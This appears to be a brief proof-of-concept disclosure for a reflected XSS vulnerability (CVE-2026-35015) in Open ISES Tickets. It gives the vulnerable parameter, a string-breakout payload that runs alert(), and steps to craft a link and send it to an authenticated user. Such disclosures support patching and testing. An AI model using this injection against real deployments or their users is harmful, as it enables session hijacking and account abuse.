CVE-2026-35015: Open ISES Tickets反射型XSS漏洞

// PoC for CVE-2026-35015 // Vulnerable Parameter: the_ticket // The parameter value is reflected inside a JavaScript variable assignment. // Example malicious payload: // '; alert('XSS via CVE-2026-35015'); // // Steps to reproduce: // 1. Navigate to the vulnerable endpoint: // http://target/path/do_unit_mail.php // 2. Append the payload to the URL: // http://target/path/do_unit_mail.php?the_ticket='; alert('XSS via CVE-2026-35015'); // // 3. Send the link to an authenticated user. // 4. When the user clicks the link, the JavaScript alert will execute. // Explanation: // The server renders the JS as: var someVar = ''; alert('XSS via CVE-2026-35015'); //'; // The single quote breaks out of the string, allowing code execution.